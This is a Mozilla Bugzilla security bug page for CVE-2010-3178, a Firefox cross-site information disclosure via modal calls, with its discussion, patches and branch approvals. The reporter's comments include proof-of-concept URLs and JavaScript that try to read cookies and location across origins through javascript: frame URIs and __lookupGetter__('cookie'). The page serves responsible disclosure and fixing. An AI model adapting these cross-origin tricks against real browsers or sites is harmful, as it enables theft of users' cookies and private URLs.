Note: There are a few cases of duplicates in user autocompletion which are being worked on.
Bug 576616 (CVE-2010-3178)

cross-site information disclosure via modal calls

RESOLVED FIXED

Status

()

Core
DOM: Core & HTML
--
major
RESOLVED FIXED
7 years ago
2 years ago

People

(Reporter: Eduardo Vela N, Assigned: mrbkap)

Tracking

unspecified
x86
Windows XP
Points:
---
Bug Flags:
in-testsuite ?

Firefox Tracking Flags

(blocking2.0 beta3+, blocking1.9.2 .11+, status1.9.2 .11-fixed, blocking1.9.1 .14+, status1.9.1 .14-fixed)

Details

(Whiteboard: [sg:high], URL)

Attachments

(3 attachments)

(Reporter)

Description

7 years ago
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4
Build Identifier: 

This site:
http://eaea.sirdarckcat.net/weirdyes.php?loc=http://google.com/#//0x.lv/xss.php?plain_xss=

Shows a vulnerability that allows an attacker to access some objects it shouldn't (eg. the location object).

1.- Setting the URL of a frame to javascript:LockExecution();InterestingObject;
2.- LockExecution can be alert() or XHR.send(), or XML.open(), etc..
3.- The attacker then sets the frame's location to the target website.
4.- When the target page finishes loading, the LockExecution function is unlocked, and a new window is created leaking a reference to InterestingObject to the page.
5.- interestingObject.toString() is called by firefox and its result is written in the hosting page.

Reproducible: Always

Steps to Reproduce:
1. Visit http://eaea.sirdarckcat.net/weirdyes.php?loc=http://google.com/#//0x.lv/xss.php?plain_xss=
2. google.com redirects to www.google.com (poc)
3. eaea.sirdarckcat.net is able to read window.location
Actual Results:  
eaea.sirdarckcat.net is able to read window.location

Expected Results:  
eaea.sirdarckcat.net shouldn't able to read window.location
(Reporter)

Updated

7 years ago
Severity: critical → major
(Reporter)

Updated

7 years ago
Summary: Cross Origin Object.toString and javascript URI vulnerability → cross-site information disclosure via modal calls

Updated

7 years ago
Status: UNCONFIRMED → NEW
Ever confirmed: true
(Reporter)

Comment 1

7 years ago
If an attacker is able to use a reference to an object, he can do:

javascript:function X(){};X.prototype=document;x=new X;x.toString=document.constructor.prototype.__lookupGetter__('cookie');LockingFunction();x

and x should return the cookie..

Updated

7 years ago
Whiteboard: [sg:high]
(Assignee)

Comment 2

7 years ago
Created attachment 459615 [details] [diff] [review]
Proposed fix
Assignee: nobody → mrbkap
Status: NEW → ASSIGNED
Attachment #459615 - Flags: review?(jst)
Comment on attachment 459615 [details] [diff] [review]
Proposed fix

r=jst if you do the same in nsJSContext::ExecuteScript().
Attachment #459615 - Flags: review?(jst) → review+

Updated

7 years ago
blocking2.0: --- → beta3+
(Assignee)

Comment 4

7 years ago
http://hg.mozilla.org/mozilla-central/rev/ae3ea4a4320f
Status: ASSIGNED → RESOLVED
Last Resolved: 7 years ago
Resolution: --- → FIXED
(Assignee)

Comment 5

7 years ago
http://hg.mozilla.org/mozilla-central/rev/93c41e057f90 as well.
Can we get a roll-up patch for the branches?
(Assignee)

Comment 7

7 years ago
Created attachment 466865 [details] [diff] [review]
For 1.9.2
Attachment #466865 - Flags: review?(jst)

Updated

7 years ago
Attachment #466865 - Flags: review?(jst) → review+
(Assignee)

Updated

7 years ago
Attachment #466865 - Flags: approval1.9.1.13?
(Assignee)

Comment 8

7 years ago
Comment on attachment 466865 [details] [diff] [review]
For 1.9.2

(sorry, wrong branch request -- I'll need another patch for the 1.9.1 branch)
Attachment #466865 - Flags: approval1.9.1.13? → approval1.9.2.10?
blocking1.9.1: --- → ?
blocking1.9.2: --- → ?
status1.9.1: --- → wanted
status1.9.2: --- → wanted
Keywords: testcase-wanted
Can we get a testcase into the bug and into the tree?

A testcase that shows cookie capture would be good, too.
(Reporter)

Comment 10

7 years ago
The cookie attack scenario depends on the ability of the attacker to get a reference to an object.. What happens apparently is that when my code is ran, the object's principal is still eaea.sirdarckcat.net, so www.google.com does not have access to eaea.sirdarckcat.net.

So bottom line is:
 - All the references I have are in eaea.sirdarckcat.net's context
 - My code is executing in www.google.com context

so my code cant access the objects.. :(

I could try to get the reference, it may be possible by simply getting a reference to window.top (if top is www.google.com) or something like that..

Greetings!!
(Reporter)

Comment 11

7 years ago
Oh, on the other hand, you could use the original demo

http://eaea.sirdarckcat.net/weirdyes.php?loc=http://google.com/#//0x.lv/xss.php?plain_xss=


as a testcase.

Comment 12

7 years ago
Comment on attachment 466865 [details] [diff] [review]
For 1.9.2

a=LegNeato for 1.9.2.10. Please only land this on the default branch, *not* a relbranch
Attachment #466865 - Flags: approval1.9.2.10? → approval1.9.2.10+
(In reply to comment #1)
> If an attacker is able to use a reference to an object, he can do:

but the location object is special because HTML/DOM grandfathers in certain legitimate cross-origin uses of it. If you can get arbitrary object access I'd agree with "sg:high", but if all we're leaking is the location that bumps it down to sg:moderate. Depending on the site it could be a bad leak (single-signon tokens in the URL?) but in general it's more of a privacy problem.

moz_bug_r_a4: I'm assuming the location object is the only thing affected, but the patch looks generic. Maybe you can turn this into more damage.

Blake: do we need this on the 1.9.1 branch too?
blocking1.9.1: ? → needed
blocking1.9.2: ? → needed
Whiteboard: [sg:high] → [sg:moderate]
(Reporter)

Comment 14

7 years ago
The cookie of 0x.lv is dom=0x.lv

Test URL: http://0x.lv/xss.php?100&frame_xss=htmledit.html&html_xss=%3Ciframe%20src=//www.google.com%3E%3C/iframe%3E

The content of the script is:
<iframe src="http://www.google.com/webhp"></iframe>
<script>
ci=setInterval(function(){
   if(frames.length){
      clearInterval(ci);
      frames[0].location='javascript:alert(1);function M(){this.toString=this.__lookupGetter__("cookie");};M.prototype=document;({toString:[].join,length:1,0:new M});';
   }
},1);
</script>

The cookie I get is 0x.lv's and not google.com's..

So the statement of comment 1 is wrong, getting a reference is not enough to exploit it, I think you are right.

> but the location object is special because HTML/DOM grandfathers in certain
> legitimate cross-origin uses of it.
makes sense.

> If you can get arbitrary object access I'd agree with "sg:high", but if all 
> we're leaking is the location that bumps it down to sg:moderate.
I agree, I originally thought this was more serious.

> Depending on the site it could be a bad leak (single-signon tokens in the
> URL?)
right, that's why it's good its fixed.

> moz_bug_r_a4: I'm assuming the location object is the only thing affected, but
> the patch looks generic. Maybe you can turn this into more damage.
I'm looking forward to that!

Greetings!!
(Reporter)

Comment 15

7 years ago
oh now that I re-read my last PoC it's over-complicated.. I was originally testing with top.frames[0], anyways..
blocking1.9.1: needed → ?
blocking1.9.2: needed → .10+
status1.9.1: wanted → ?

Comment 16

7 years ago
Just for the record, the first testcase in this bug now works on trunk because
there is a bug about Location object's principal (bug 593602).
blocking1.9.1: ? → .13+
status1.9.1: ? → wanted
Whiteboard: [sg:moderate] → [sg:high]
Blocks: 593599
Let's get an automated regression test for this. Could've saved us some potential embarrassment had moz_bug_r_a4 not noticed this got "unfixed" before we released an advisory for it (see bug 593602).
Flags: in-testsuite?

Updated

7 years ago
Keywords: checkin-needed
Created attachment 479591 [details] [diff] [review]
merged to 1.9.1
Attachment #479591 - Flags: review?
Attachment #479591 - Flags: review?(mrbkap)
Attachment #479591 - Flags: review?
Attachment #479591 - Flags: approval1.9.1.14?
http://hg.mozilla.org/releases/mozilla-1.9.2/rev/fb800ed2a4b1
status1.9.2: wanted → .11-fixed
(Assignee)

Updated

7 years ago
Attachment #479591 - Flags: review?(mrbkap) → review+
Checked-in presuming clegnitto's retroactive approval.
http://hg.mozilla.org/releases/mozilla-1.9.1/rev/06ad1b12aef9
status1.9.1: wanted → .14-fixed
bustage fix
http://hg.mozilla.org/releases/mozilla-1.9.2/rev/620daaba9c3a

Updated

7 years ago
Attachment #479591 - Flags: approval1.9.1.14? → approval1.9.1.14+
Alias: CVE-2010-3178
Group: core-security

Updated

7 years ago
Blocks: 593599
Keywords: checkin-needed

Updated

7 years ago
Blocks: 593599
Keywords: checkin-needed
No longer blocks: 593599
Keywords: testcase-wanted
You need to log in before you can comment on or make changes to this bug.